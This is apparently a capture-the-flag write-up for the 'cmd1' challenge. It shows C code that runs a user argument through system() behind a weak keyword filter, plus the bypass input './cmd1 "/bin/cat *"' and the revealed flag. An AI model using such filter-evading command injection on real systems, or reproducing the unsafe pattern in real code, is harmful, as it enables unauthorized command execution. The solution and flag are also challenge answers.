-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcmd1.txt
27 lines (22 loc) · 896 Bytes
/
cmd1.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
The system exec a command passed as argument but stops just some words. Exec the cat command from the absolute path.
Il sistema esegue un comando passato come argomento ma blocca solo alcune parole.Eseguendo il comando cat da path assoluto si risolve la challenge.
-----------------------------------------------------------------
| input: | ./cmd1 "/bin/cat *" |
|--------|------------------------------------------------------|
| flag: | mommy now I get what PATH environment is for :) |
-----------------------------------------------------------------